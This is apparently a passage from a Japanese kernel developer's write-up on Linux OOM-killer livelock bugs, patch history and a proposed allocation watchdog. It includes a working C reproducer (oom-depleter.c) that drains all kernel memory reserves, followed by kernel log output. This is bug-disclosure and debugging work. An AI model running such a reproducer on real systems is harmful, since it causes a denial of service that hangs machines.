さて、果たして Linux 4.8 で OOM livelock 状態に陥らないことを証明できるようになるのでしょうか?その答えは、「残念ながら」です。ということで、残りの罠について説明します。

(罠9)は、メモリ消費の大部分は mm_struct に関連付けされているという前提に起因します。 oom_score_adj の使われ方として、「 OOM killer により強制終了させられない( oom_score_adj の値が -1000 に設定されている)状態にある親プロセスが vfork() により子プロセスを作成し、子プロセスを OOM killer により強制終了させることができる( oom_score_adj の値が 0 に設定されている)状態に変更した上で、子プロセスが execve() システムコールを用いてプログラムを実行する」というケースが存在しているため、 vfork() により作成された子プロセスは親プロセスとは異なる oom_score_adj の値を持つことを認めるという例外を設けています。しかし、 CVE-2010-4243 で示されたように、 execve() システムコールの argv[]/envp[] 引数として、相当な量のメモリを mm_struct に関連付けずに消費することは vfork() により作成された子プロセスでも可能です。そのため、 vfork() により作成された子プロセスを強制終了の対象外とするという判断は、常に望ましいとは限りません。しかし、 Michal Hocko さんは「そのような間抜けな処理を許す方が悪い」という考え方であるため、そのまま採用されてしまいました。

(罠10)は、「超ひねくれ者のマルチスレッド」が原因で OOM reaper を起動できないことにより OOM livelock 状態に陥るのを回避するためのものです。親プロセスと vfork() により作成された子プロセスとで OOM killer により強制終了させられるかどうかが異なる場合も、「超ひねくれ者のマルチスレッド」と考えることができます。しかし、そもそも「ひねくれ者のマルチスレッド」を作成するプログラムには、何らかの理由がある筈です。例えば、 OOM killer が発動するギリギリ直前の状況を試験するために「超ひねくれ者のマルチスレッド」として動作するプログラムが存在する可能性は否定できないのです。

(罠11)は、 OOM killer が発動できる限りは OOM livelock 状態に陥らないことを証明できていない、唯一の箇所です。

OOM reaper を呼び出すことができなかった場合でも OOM livelock 状態に陥るのを回避する方法としては、メモリ回収処理を行っても安全かどうかの判断を OOM reaper に委任することで、「 OOM killer が TIF_MEMDIE フラグを付与するのと常にセットで OOM reaper を呼び出すようにする」方法が考えられます。しかし、 Michal Hocko さんは「メモリ回収処理を行えないことが明らかな場合には、 OOM reaper に処理を引き継がずに OOM killer 内で対処したい」という考え方であるため、この方法を拒み続けています。

「 OOM reaper に処理を引き継がずに OOM killer 内で対処する」方法としては、 (kill10) において MMF_OOM_REAPED フラグを設定するのと一緒に (kill9) において付与された TIF_MEMDIE フラグをクリアするという方法が考えられます。 Linux 4.6 で OOM reaper が TIF_MEMDIE フラグをクリアするという挙動をするようになったとき、サスペンド機能との競合問題を回避するために OOM reaper のカーネルスレッドを freezable にするという変更も採用されました。しかし、その後の調査で、カーネルスレッドを freezable にしてもサスペンド機能との競合問題を回避できていなかったことが判明しました。そして、「サスペンド機能との競合問題を回避するためのパッチを使わずに済ませたいので、 OOM reaper や OOM killer が TIF_MEMDIE フラグをクリアするという挙動は避けたい」という考え方になったため、 (kill10) において TIF_MEMDIE フラグをクリアするという方法も拒み続けています。

その結果、 Linux 4.8 で採用されることになっているのが、 (kill5) の検査において、 TIF_MEMDIE フラグが付与されていても MMF_OOM_REAPED フラグも付与されている場合、その mm_struct を無視するという挙動です。しかし、 (kill5) の検査において、 TIF_MEMDIE フラグが付与されたスレッドを含むスレッドグループが使用している mm_struct を取得するために呼び出している find_lock_task_mm() 関数は、そのスレッドグループの全てのスレッドが mm_struct を解放した後は取得できないという問題があります。この問題に対処する方法としては、 TIF_MEMDIE フラグが付与されたスレッドを含むスレッドグループが使用している mm_struct を find_lock_task_mm() 関数で取得できなかった場合、 OOM_SCAN_ABORT ではなく OOM_SCAN_CONTINUE を返却するという方法が考えられます。しかし、「 Linux 4.8 で急いで対処する必要性がある話ではない」という考え方であるため、この方法も拒否されました。その結果、 TIF_MEMDIE フラグが付与されたスレッドを含むスレッドグループが使用している mm_struct を find_lock_task_mm() 関数で取得できなかった場合は OOM_SCAN_ABORT が返却されるため、僅かではありますが OOM livelock 状態に陥る可能性が残ってしまった訳です。(残念!)

現在は、 Linux 4.9 に向けて、 TIF_MEMDIE フラグが付与されたスレッドを含むスレッドグループが使用している mm_struct を find_lock_task_mm() 関数を使わずに取得できるようにすることで、 OOM killer や OOM reaper が TIF_MEMDIE フラグをクリアするという挙動に依存しない形で、 OOM killer が発動できる限りは OOM livelock 状態に陥らないことを証明できる方法を模索しているところです。

ちなみに、 OOM reaper は MMU 対応カーネル( CONFIG_MMU=y というカーネルコンフィグを指定してコンパイルされるカーネル)でのみ利用可能です。 MMU 非対応カーネル( CONFIG_MMU=y というカーネルコンフィグを指定しないでコンパイルされるカーネル)では OOM reaper を利用できないため、 MMU 非対応カーネルに関しては、「 OOM killer が発動できた場合に OOM livelock 状態に陥る」問題が発生しないことを証明するどころか、全く改善されていません。誰も MMU 非対応カーネルでの動作テストをしないため、もしかすると、 MMU 対応カーネルのための修正により、 MMU 非対応カーネルで OOM livelock 状態が発生しやすくなっている可能性さえあります。 MMU 非対応カーネルでも使える方法としてタイムアウトを使う方法も考えられますが、 Michal Hocko さんは「そもそも MMU 非対応環境で OOM livelock が発生した事例を聞いたことが無い( MMU 非対応環境では OOM livelock を引き起こすような無茶なメモリの使い方をさせない筈だ)」という考え方であるため、対処される見通しはありません。

そろそろ「 OOM killer が発動できた場合に OOM livelock 状態に陥る」という問題は終わらせて、「 OOM killer が発動できないまま OOM livelock 状態に陥る」というとっても厄介な問題への対処に注力してほしいものです。


第6章 メモリ管理をめぐるカーネル内での出来事


6.1 Kernel Memory Allocation Watchdog (kmallocwd)

タイムアウトベースの回避策で説明したように、タイムアウトに基づいて OOM killer を発動することが容認されれば、 OOM livelock 状態の発生を防ぐことができる筈です。しかし、タイムアウトに基づく判断が容認される見込みは今のところありません。そして、 The "too small to fail" memory-allocation rule が存在することにより、 OOM livelock 状態が発生してしまった場合に対処する方法もありません。

それならば、せめて OOM livelock 状態が発生しているかもしれない場合に、メモリ割り当て要求が滞っていることを知らせてほしいものです。さもないと、システムがハングアップしたときに、それがメモリ割り当て要求が原因かどうかを判断することさえできません。

そのため、カーネル内のメモリ割り当て要求を監視する Kernel Memory Allocation Watchdog (kmallocwd) という機能を提案しています。(この資料に引用されている実行結果例に含まれる MemAlloc: などの行が、この機能による出力です。)

ソフトウェアに起因した不具合への対処は、犯人を自力で突き止めて警察に突き出すようなものです。 Linux カーネルのメモリ管理機構に起因した不具合の場合、想定外の状況が発生していても何のメッセージも出力してくれないため、犯人を自力で突き止めることが特に強く要求されます。しかし、 Linux カーネルを利用する全ての人が、そのようなスキルを持っている訳ではありません。

この機能は、問題切り分けの第一歩となる重要な手助けなのですが、これほどの大量の処理を追加することの正当性/必要性について疑問視されており、採用される見通しはありません。もっとたくさんの人が「メモリ管理機構に起因した不具合かもしれない」とメモリ管理機構の開発者たちを煩わせるまでに報告をするようにならない限り、メモリ管理機構の開発者たちは「どのような問題が起こっているのか」を知らないまま過ごすことになりそうです。


6.2 いろんな伏兵 時系列で?

ここでは、これまでに紹介されていない、メモリ枯渇時のメモリ管理をめぐるカーネル内での出来事を追いかけていきます。その中で、随時、再現プログラムを貼り付けていきます。


2014年11月 SysRq-f がワークキューに依存することで OOM killer を発動できない問題

キーボードからの SysRq-f 操作は、割り込みコンテキストの中で処理されるため、同期処理で OOM killer の処理を待つことができません。そのため、 SysRq-f により発動される OOM killer は、 system_wq というシステム全体で利用するワークキューにリクエストをしておき、非同期で OOM killer の処理を発動させるようになっています。しかし、ワークキューが他のリクエストを処理している間は、 SysRq-f のリクエストは処理できません。

そのため、 OOM livelock 状態が発生してワークキューの処理が滞ってしまった場合、永遠に OOM killer を発動できなくなり、 SysRq-f を用いても OOM livelock 状態から抜け出せませんでした。

OOM reaper が導入されたことで TIF_MEMDIE フラグが自動的にクリアされ、 OOM killer が次の OOM victim を選択できるようになりました。それにより、多くのケースでは OOM livelock 状態の発生自体を防げるようになりました。

2014年11月 SysRq-f による OOM killer が既に TIF_MEMDIE フラグが付与されたスレッドを選択してしまう問題

memset+write の実行結果例で示したように、 SysRq-f により発動される OOM killer は、 TIF_MEMDIE フラグが付与されたスレッドが存在していても、次の OOM victim を選択するという挙動をします。しかし、 select_bad_process() のロジックは、( TIF_MEMDIE フラグが付与されたスレッドが含まれるスレッドグループかどうかを無視して)単純に oom_badness() が最大の値を返却するスレッドグループを選択するようになっています。その結果、 OOM livelock 状態が発生してしまった場合、既に TIF_MEMDIE フラグが付与されたスレッドを永遠に選択してしまい、 SysRq-f を用いても OOM livelock 状態から抜け出せませんでした。

OOM reaper が導入されたことで TIF_MEMDIE フラグが付与されたスレッドを含むスレッドグループが自動的に無視され、 OOM killer が次の OOM victim を選択できるようになりました。それにより、多くのケースでは OOM livelock 状態の発生自体を防げるようになりました。

2014年12月 終了しかけたプロセスに TIF_MEMDIE フラグを付与してしまう問題

OOM killer の動作の中で説明したように、終了するスレッドは do_exit() から呼ばれる exit_mm() 内で mm_struct との関連付けを解除して TIF_MEMDIE フラグをクリアします。そのため、 out_of_memory() 内の task_will_free_mem(current) を経由した TIF_MEMDIE フラグの付与は、 mm_struct との関連付けが解除されていない場合のみ許可する必要がありました。

しかし、そのようなチェックが行われていなかったため、 OOM killer により強制終了させられた子プロセスに再度 TIF_MEMDIE フラグが付与されてしまい、親プロセスはメモリ割り当て要求を実行中のため子プロセスを引き取れず、子プロセスの TIF_MEMDIE フラグが親プロセスのメモリ割り当て要求をブロックしてしまった結果、 OOM livelock 状態が発生してしまいました。

この不具合は、 commit d7a94e7e11badf84 ("oom: don't count on mm-less current process")commit 83363b917a2982dd ("oom: make sure that TIF_MEMDIE is set under task_lock") というパッチで修正されました。

2015年2月 ファイルI/Oの信頼性が崩壊した事故

Linux 3.19-rc6 と Linux 3.19-rc7 の間に、 commit 9879de7373fc (mm: page_alloc: embed OOM killing naturally into allocation slowpath) というパッチがマージされました。元々は単なるクリーンアップを行うことを意図したパッチだったのですが、このパッチには GFP_NOFS や GFP_NOIO なメモリ割り当て要求をリトライさせないようにする( The "too small to fail" memory-allocation rule を適用しない)という副作用が含まれていたため、 OOM killer が発動するだけで ext4 ファイルシステムにエラーが発生するという、全く使い物にならない状況が発生してしまいました。

もちろん、 The "too small to fail" memory-allocation rule を廃止できればベストなのですが、何の準備もしていない状況で不意打ちのように廃止されては困ります。そのため、 commit cc87317726f85153 ("mm: page_alloc: revert inadvertent !__GFP_FS retry behavior change") というパッチにより、元の挙動に戻すという対処がされました。

その後、 /proc/sys/vm/nr_alloc_retry という変数を用いて、メモリ割り当て要求をリトライする回数の上限を設ける試みが提案されました。しかし、誰もメモリ枯渇時の挙動を積極的にテストしないため、上限を漸減できる見通しが立たないことから、立ち消えになりました。ということで、現在も The "too small to fail" memory-allocation rule は健在です。

2015年6月 OOM killer 発動後の OOM livelock 対策としての、タイムアウトベースの回避策

/proc/sys/vm/panic_on_oom のように、 OOM killer の発動と同時にカーネルパニックを発生させる代わりに、 /proc/sys/vm/panic_on_oom_timeout という変数を用いて、 OOM killer が発動してから一定時間内に OOM livelock 状態が解消されなかった場合にのみカーネルパニックを発生させる試みが提案されました。しかし、いつカーネルパニックを発生させるべきかについての合意が成立せず、立ち消えになりました。

背景には、「予め決められた時間内に OOM livelock 状態が解消されないならば、異なる OOM victim を選択するよりもカーネルパニックによる再起動をすべき」という考えと、「異なる OOM victim を何回か選択していけば OOM livelock 状態を解消できる可能性はあるのだから、最初からカーネルパニックによる再起動をするのは行き過ぎ」という考え方の対立がありました。

2015年8月 TIF_MEMDIE フラグの付与と SIGKILL シグナルの送信と順序に起因したメモリ枯渇問題

これは、上述した commit 83363b917a2982dd ("oom: make sure that TIF_MEMDIE is set under task_lock") というパッチの不備を指摘した出来事です。このパッチが提案されたとき、「 TIF_MEMDIE フラグは SIGKILL シグナルの送信後に付与すべき」とコメントしたのですが、当時は「どのみち強制終了されるのだから順番が問題になることは無い」と却下され、修正されることなくマージされました。そのため、 printk() によるカーネルメッセージ出力は比較的遅い処理であることを利用して、 TIF_MEMDIE フラグが付与されてから SIGKILL シグナルが送信されるまでの時間差を広げてみました。

---------- oom-depleter.c start ----------
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>

static int null_fd = EOF;
static char *buf = NULL;
static unsigned long size = 0;

static int dummy(void *unused)
{
        pause();
        return 0;
}

static int trigger(void *unused)
{
        read(null_fd, buf, size); /* Will cause OOM due to overcommit */
        return 0;
}

int main(int argc, char *argv[])
{
        int pipe_fd[2] = { EOF, EOF };
        unsigned long i;
        null_fd = open("/dev/zero", O_RDONLY);
        pipe(pipe_fd);
        for (size = 1048576; size < 512UL * (1 << 30); size <<= 1) {
                char *cp = realloc(buf, size);
                if (!cp) {
                        size >>= 1;
                        break;
                }
                buf = cp;
        }
        /*
         * Create many child threads in order to enlarge time lag between
         * the OOM killer sets TIF_MEMDIE to thread group leader and
         * the OOM killer sends SIGKILL to that thread.
         */
        for (i = 0; i < 1000; i++) {
                clone(dummy, malloc(1024) + 1024, CLONE_SIGHAND | CLONE_VM,
                      NULL);
                if (!i)
                        close(pipe_fd[1]);
        }
        /* Let a child thread trigger the OOM killer. */
        clone(trigger, malloc(4096)+ 4096, CLONE_SIGHAND | CLONE_VM, NULL);
        /* Wait until the first child thread is killed by the OOM killer. */
        read(pipe_fd[0], &i, 1);
        /* Deplete all memory reserve using the time lag. */
        for (i = size; i; i -= 4096)
                buf[i - 1] = 1;
        return * (char *) NULL; /* Kill all threads. */
}
---------- oom-depleter.c end ----------
---------- 実行結果例 ここから ----------
[   38.613801] sysrq: SysRq : Show Memory
[   38.616506] Mem-Info:
[   38.618106] active_anon:18185 inactive_anon:2085 isolated_anon:0
[   38.618106]  active_file:10615 inactive_file:18972 isolated_file:0
[   38.618106]  unevictable:0 dirty:7 writeback:0 unstable:0
[   38.618106]  slab_reclaimable:3015 slab_unreclaimable:4217
[   38.618106]  mapped:9940 shmem:2146 pagetables:1319 bounce:0
[   38.618106]  free:378300 free_pcp:486 free_cma:0
[   38.640475] Node 0 DMA free:9980kB min:400kB low:500kB high:600kB active_anon:2924kB inactive_anon:80kB active_file:816kB inactive_file:896kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:15988kB managed:15904kB mlocked:0kB dirty:0kB writeback:0kB mapped:596kB shmem:80kB slab_reclaimable:240kB slab_unreclaimable:308kB kernel_stack:80kB pagetables:64kB unstable:0kB bounce:0kB free_pcp:0kB local_pcp:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? no
[   38.655621] lowmem_reserve[]: 0 1731 1731 1731
[   38.657497] Node 0 DMA32 free:1503220kB min:44652kB low:55812kB high:66976kB active_anon:69816kB inactive_anon:8260kB active_file:41644kB inactive_file:74992kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:2080640kB managed:1774392kB mlocked:0kB dirty:28kB writeback:0kB mapped:39164kB shmem:8504kB slab_reclaimable:11820kB slab_unreclaimable:16560kB kernel_stack:3472kB pagetables:5212kB unstable:0kB bounce:0kB free_pcp:1944kB local_pcp:668kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? no
[   38.672950] lowmem_reserve[]: 0 0 0 0
[   38.673726] Node 0 DMA: 3*4kB (UM) 6*8kB (U) 4*16kB (UEM) 0*32kB 0*64kB 1*128kB (M) 2*256kB (EM) 2*512kB (UE) 2*1024kB (EM) 1*2048kB (E) 1*4096kB (M) = 9980kB
[   38.676854] Node 0 DMA32: 31*4kB (UEM) 27*8kB (UE) 32*16kB (UE) 13*32kB (UE) 14*64kB (UM) 7*128kB (UM) 8*256kB (UM) 8*512kB (UM) 3*1024kB (U) 4*2048kB (UM) 362*4096kB (UM) = 1503220kB
[   38.680159] Node 0 hugepages_total=0 hugepages_free=0 hugepages_surp=0 hugepages_size=2048kB
[   38.681517] 31733 total pagecache pages
[   38.682162] 0 pages in swap cache
[   38.682711] Swap cache stats: add 0, delete 0, find 0/0
[   38.683554] Free swap  = 0kB
[   38.684053] Total swap = 0kB
[   38.684528] 524157 pages RAM
[   38.685022] 0 pages HighMem/MovableOnly
[   38.685645] 76583 pages reserved
[   38.686173] 0 pages hwpoisoned
[   48.046321] oom-depleter invoked oom-killer: gfp_mask=0x280da, order=0, oom_score_adj=0
[   48.047754] oom-depleter cpuset=/ mems_allowed=0
[   48.048779] CPU: 1 PID: 4797 Comm: oom-depleter Not tainted 4.2.0-rc4-next-20150730+ #80
[   48.050612] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 07/31/2013
[   48.052434]  0000000000000000 000000004ecba3fc ffff88006c4938d0 ffffffff81614c2f
[   48.053816]  ffff88006c482580 ffff88006c493970 ffffffff81611671 0000000000001000
[   48.055218]  ffff88006c493918 ffffffff8109463c ffff8800784b2b40 ffff88007fc556f8
[   48.057428] Call Trace:
[   48.058775]  [<ffffffff81614c2f>] dump_stack+0x44/0x55
[   48.060647]  [<ffffffff81611671>] dump_header+0x84/0x21c
[   48.062591]  [<ffffffff8109463c>] ? update_curr+0x9c/0xe0
[   48.064393]  [<ffffffff810917f7>] ? __enqueue_entity+0x67/0x70
[   48.066506]  [<ffffffff81096b59>] ? set_next_entity+0x69/0x360
[   48.068633]  [<ffffffff81091ee0>] ? pick_next_entity+0xa0/0x150
[   48.070768]  [<ffffffff8110fad4>] oom_kill_process+0x364/0x3d0
[   48.072874]  [<ffffffff81281550>] ? security_capable_noaudit+0x40/0x60
[   48.074948]  [<ffffffff8110fd83>] out_of_memory+0x1f3/0x490
[   48.076820]  [<ffffffff81115214>] __alloc_pages_nodemask+0x904/0x930
[   48.078885]  [<ffffffff811569f0>] alloc_pages_vma+0xb0/0x1f0
[   48.080781]  [<ffffffff811385c0>] handle_mm_fault+0x13a0/0x1960
[   48.082936]  [<ffffffff8112ffce>] ? vmacache_find+0x1e/0xc0
[   48.084981]  [<ffffffff81055c9c>] __do_page_fault+0x17c/0x400
[   48.086791]  [<ffffffff81055f50>] do_page_fault+0x30/0x80
[   48.088636]  [<ffffffff81096b59>] ? set_next_entity+0x69/0x360
[   48.090630]  [<ffffffff8161c918>] page_fault+0x28/0x30
[   48.092359]  [<ffffffff813124c0>] ? __clear_user+0x20/0x50
[   48.094065]  [<ffffffff81316dd8>] iov_iter_zero+0x68/0x250
[   48.095939]  [<ffffffff813e9ef8>] read_iter_zero+0x38/0xa0
[   48.097690]  [<ffffffff8117ad04>] __vfs_read+0xc4/0xf0
[   48.099545]  [<ffffffff8117b489>] vfs_read+0x79/0x120
[   48.101129]  [<ffffffff8117c1a0>] SyS_read+0x50/0xc0
[   48.102648]  [<ffffffff8161adee>] entry_SYSCALL_64_fastpath+0x12/0x71
[   48.104388] Mem-Info:
[   48.105396] active_anon:410470 inactive_anon:2085 isolated_anon:0
[   48.105396]  active_file:0 inactive_file:31 isolated_file:0
[   48.105396]  unevictable:0 dirty:0 writeback:0 unstable:0
[   48.105396]  slab_reclaimable:1689 slab_unreclaimable:5719
[   48.105396]  mapped:390 shmem:2146 pagetables:2097 bounce:0
[   48.105396]  free:12966 free_pcp:63 free_cma:0
[   48.114279] Node 0 DMA free:7308kB min:400kB low:500kB high:600kB active_anon:6764kB inactive_anon:80kB active_file:0kB inactive_file:0kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:15988kB managed:15904kB mlocked:0kB dirty:0kB writeback:0kB mapped:8kB shmem:80kB slab_reclaimable:144kB slab_unreclaimable:372kB kernel_stack:240kB pagetables:568kB unstable:0kB bounce:0kB free_pcp:0kB local_pcp:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? yes
[   48.124147] lowmem_reserve[]: 0 1731 1731 1731
[   48.125753] Node 0 DMA32 free:44556kB min:44652kB low:55812kB high:66976kB active_anon:1635116kB inactive_anon:8260kB active_file:0kB inactive_file:124kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:2080640kB managed:1774392kB mlocked:0kB dirty:0kB writeback:0kB mapped:1552kB shmem:8504kB slab_reclaimable:6612kB slab_unreclaimable:22504kB kernel_stack:19344kB pagetables:7820kB unstable:0kB bounce:0kB free_pcp:252kB local_pcp:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:1620 all_unreclaimable? yes
[   48.137007] lowmem_reserve[]: 0 0 0 0
[   48.138514] Node 0 DMA: 11*4kB (UE) 8*8kB (UEM) 6*16kB (UE) 2*32kB (EM) 0*64kB 1*128kB (U) 3*256kB (UEM) 2*512kB (UE) 3*1024kB (UEM) 1*2048kB (U) 0*4096kB = 7308kB
[   48.143010] Node 0 DMA32: 1049*4kB (UEM) 507*8kB (UE) 151*16kB (UE) 53*32kB (UEM) 83*64kB (UEM) 52*128kB (EM) 25*256kB (UEM) 11*512kB (M) 6*1024kB (UM) 1*2048kB (M) 0*4096kB = 44556kB
[   48.148196] Node 0 hugepages_total=0 hugepages_free=0 hugepages_surp=0 hugepages_size=2048kB
[   48.150810] 2156 total pagecache pages
[   48.152318] 0 pages in swap cache
[   48.154200] Swap cache stats: add 0, delete 0, find 0/0
[   48.156089] Free swap  = 0kB
[   48.157400] Total swap = 0kB
[   48.158694] 524157 pages RAM
[   48.160055] 0 pages HighMem/MovableOnly
[   48.161496] 76583 pages reserved
[   48.162989] 0 pages hwpoisoned
[   48.164453] [ pid ]   uid  tgid total_vm      rss nr_ptes nr_pmds swapents oom_score_adj name
(...snipped...)
[   50.061069] [ 4797]  1000  4797   541715   392157     776       6        0             0 oom-depleter
[   50.062841] Out of memory: Kill process 3796 (oom-depleter) score 877 or sacrifice child
[   50.064684] Killed process 3796 (oom-depleter) total-vm:2166860kB, anon-rss:1568628kB, file-rss:0kB
[   50.066454] Kill process 3797 (oom-depleter) sharing same memory
(...snipped...)
[   50.247563] Kill process 3939 (oom-depleter) sharing same memory
[   50.248677] oom-depleter: page allocation failure: order:0, mode:0x280da
[   50.248679] CPU: 2 PID: 3796 Comm: oom-depleter Not tainted 4.2.0-rc4-next-20150730+ #80
[   50.248680] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 07/31/2013
[   50.248682]  0000000000000000 000000001529812f ffff88007be67be0 ffffffff81614c2f
[   50.248683]  00000000000280da ffff88007be67c70 ffffffff81111914 0000000000000000
[   50.248684]  ffff88007fffdb28 0000000000000000 ffff88007fc99030 ffff88007be67d30
[   50.248684] Call Trace:
[   50.248689]  [<ffffffff81614c2f>] dump_stack+0x44/0x55
[   50.248692]  [<ffffffff81111914>] warn_alloc_failed+0xf4/0x150
[   50.248693]  [<ffffffff81114b76>] __alloc_pages_nodemask+0x266/0x930
[   50.248695]  [<ffffffff811569f0>] alloc_pages_vma+0xb0/0x1f0
[   50.248697]  [<ffffffff811385c0>] handle_mm_fault+0x13a0/0x1960
[   50.248702]  [<ffffffff8100d6dc>] ? __switch_to+0x23c/0x470
[   50.248704]  [<ffffffff81055c9c>] __do_page_fault+0x17c/0x400
[   50.248706]  [<ffffffff81055f50>] do_page_fault+0x30/0x80
[   50.248707]  [<ffffffff8161c918>] page_fault+0x28/0x30
[   50.248708] Mem-Info:
[   50.248710] active_anon:423405 inactive_anon:2085 isolated_anon:0
[   50.248710]  active_file:7 inactive_file:10 isolated_file:0
[   50.248710]  unevictable:0 dirty:0 writeback:0 unstable:0
[   50.248710]  slab_reclaimable:1689 slab_unreclaimable:5719
[   50.248710]  mapped:393 shmem:2146 pagetables:2097 bounce:0
[   50.248710]  free:0 free_pcp:21 free_cma:0
[   50.248714] Node 0 DMA free:28kB min:400kB low:500kB high:600kB active_anon:13988kB inactive_anon:80kB active_file:28kB inactive_file:0kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:15988kB managed:15904kB mlocked:0kB dirty:0kB writeback:0kB mapped:0kB shmem:80kB slab_reclaimable:144kB slab_unreclaimable:372kB kernel_stack:240kB pagetables:568kB unstable:0kB bounce:0kB free_pcp:0kB local_pcp:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:4 all_unreclaimable? no
[   50.248715] lowmem_reserve[]: 0 1731 1731 1731
[   50.248717] Node 0 DMA32 free:0kB min:44652kB low:55812kB high:66976kB active_anon:1679632kB inactive_anon:8260kB active_file:0kB inactive_file:48kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:2080640kB managed:1774392kB mlocked:0kB dirty:0kB writeback:0kB mapped:1576kB shmem:8504kB slab_reclaimable:6612kB slab_unreclaimable:22504kB kernel_stack:19344kB pagetables:7820kB unstable:0kB bounce:0kB free_pcp:84kB local_pcp:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? no
[   50.248718] lowmem_reserve[]: 0 0 0 0
[   50.248721] Node 0 DMA: 0*4kB 0*8kB 0*16kB 0*32kB 0*64kB 0*128kB 0*256kB 0*512kB 0*1024kB 0*2048kB 0*4096kB = 0kB
[   50.248723] Node 0 DMA32: 0*4kB 0*8kB 0*16kB 0*32kB 0*64kB 0*128kB 0*256kB 0*512kB 0*1024kB 0*2048kB 0*4096kB = 0kB
[   50.248724] Node 0 hugepages_total=0 hugepages_free=0 hugepages_surp=0 hugepages_size=2048kB
[   50.248724] 2149 total pagecache pages
[   50.248725] 0 pages in swap cache
[   50.248725] Swap cache stats: add 0, delete 0, find 0/0
[   50.248725] Free swap  = 0kB
[   50.248726] Total swap = 0kB
[   50.248726] 524157 pages RAM
[   50.248726] 0 pages HighMem/MovableOnly
[   50.248726] 76583 pages reserved
[   50.248727] 0 pages hwpoisoned
(...snipped...)
[   50.248940] oom-depleter: page allocation failure: order:0, mode:0x280da
[   50.248940] CPU: 2 PID: 3796 Comm: oom-depleter Not tainted 4.2.0-rc4-next-20150730+ #80
[   50.248940] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 07/31/2013
[   50.248941]  0000000000000000 000000001529812f ffff88007be67be0 ffffffff81614c2f
[   50.248942]  00000000000280da ffff88007be67c70 ffffffff81111914 0000000000000000
[   50.248942]  ffff88007fffdb28 0000000000000000 ffff88007fc99030 ffff88007be67d30
[   50.248942] Call Trace:
[   50.248943]  [<ffffffff81614c2f>] dump_stack+0x44/0x55
[   50.248944]  [<ffffffff81111914>] warn_alloc_failed+0xf4/0x150
[   50.248945]  [<ffffffff81114b76>] __alloc_pages_nodemask+0x266/0x930
[   50.248946]  [<ffffffff811569f0>] alloc_pages_vma+0xb0/0x1f0
[   50.248947]  [<ffffffff811385c0>] handle_mm_fault+0x13a0/0x1960
[   50.248948]  [<ffffffff81110080>] ? pagefault_out_of_memory+0x60/0xb0
[   50.248949]  [<ffffffff81055c9c>] __do_page_fault+0x17c/0x400
[   50.248950]  [<ffffffff81055f50>] do_page_fault+0x30/0x80
[   50.248951]  [<ffffffff8161c918>] page_fault+0x28/0x30
[   50.248951] Mem-Info:
[   50.248952] active_anon:423405 inactive_anon:2085 isolated_anon:0
[   50.248952]  active_file:7 inactive_file:10 isolated_file:0
[   50.248952]  unevictable:0 dirty:0 writeback:0 unstable:0
[   50.248952]  slab_reclaimable:1689 slab_unreclaimable:5719
[   50.248952]  mapped:393 shmem:2146 pagetables:2097 bounce:0
[   50.248952]  free:0 free_pcp:21 free_cma:0
[   50.248954] Node 0 DMA free:28kB min:400kB low:500kB high:600kB active_anon:13988kB inactive_anon:80kB active_file:28kB inactive_file:0kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:15988kB managed:15904kB mlocked:0kB dirty:0kB writeback:0kB mapped:0kB shmem:80kB slab_reclaimable:144kB slab_unreclaimable:372kB kernel_stack:240kB pagetables:568kB unstable:0kB bounce:0kB free_pcp:0kB local_pcp:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:4 all_unreclaimable? no
[   50.248955] lowmem_reserve[]: 0 1731 1731 1731
[   50.248957] Node 0 DMA32 free:0kB min:44652kB low:55812kB high:66976kB active_anon:1679632kB inactive_anon:8260kB active_file:0kB inactive_file:48kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:2080640kB managed:1774392kB mlocked:0kB dirty:0kB writeback:0kB mapped:1576kB shmem:8504kB slab_reclaimable:6612kB slab_unreclaimable:22504kB kernel_stack:19344kB pagetables:7820kB unstable:0kB bounce:0kB free_pcp:84kB local_pcp:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? no
[   50.248957] lowmem_reserve[]: 0 0 0 0
[   50.248959] Node 0 DMA: 0*4kB 0*8kB 0*16kB 0*32kB 0*64kB 0*128kB 0*256kB 0*512kB 0*1024kB 0*2048kB 0*4096kB = 0kB
[   50.248961] Node 0 DMA32: 0*4kB 0*8kB 0*16kB 0*32kB 0*64kB 0*128kB 0*256kB 0*512kB 0*1024kB 0*2048kB 0*4096kB = 0kB
[   50.248961] Node 0 hugepages_total=0 hugepages_free=0 hugepages_surp=0 hugepages_size=2048kB
[   50.248962] 2149 total pagecache pages
[   50.248962] 0 pages in swap cache
[   50.248962] Swap cache stats: add 0, delete 0, find 0/0
[   50.248962] Free swap  = 0kB
[   50.248962] Total swap = 0kB
[   50.248963] 524157 pages RAM
[   50.248963] 0 pages HighMem/MovableOnly
[   50.248963] 76583 pages reserved
[   50.248963] 0 pages hwpoisoned
[   51.212857] Kill process 3940 (oom-depleter) sharing same memory
(...snipped...)
[   52.299532] Kill process 4797 (oom-depleter) sharing same memory
[   85.966108] sysrq: SysRq : Show Memory
[   85.967079] Mem-Info:
[   85.967643] active_anon:423788 inactive_anon:2085 isolated_anon:0
[   85.967643]  active_file:0 inactive_file:1 isolated_file:0
[   85.967643]  unevictable:0 dirty:0 writeback:0 unstable:0
[   85.967643]  slab_reclaimable:1689 slab_unreclaimable:5401
[   85.967643]  mapped:391 shmem:2146 pagetables:2123 bounce:0
[   85.967643]  free:4 free_pcp:0 free_cma:0
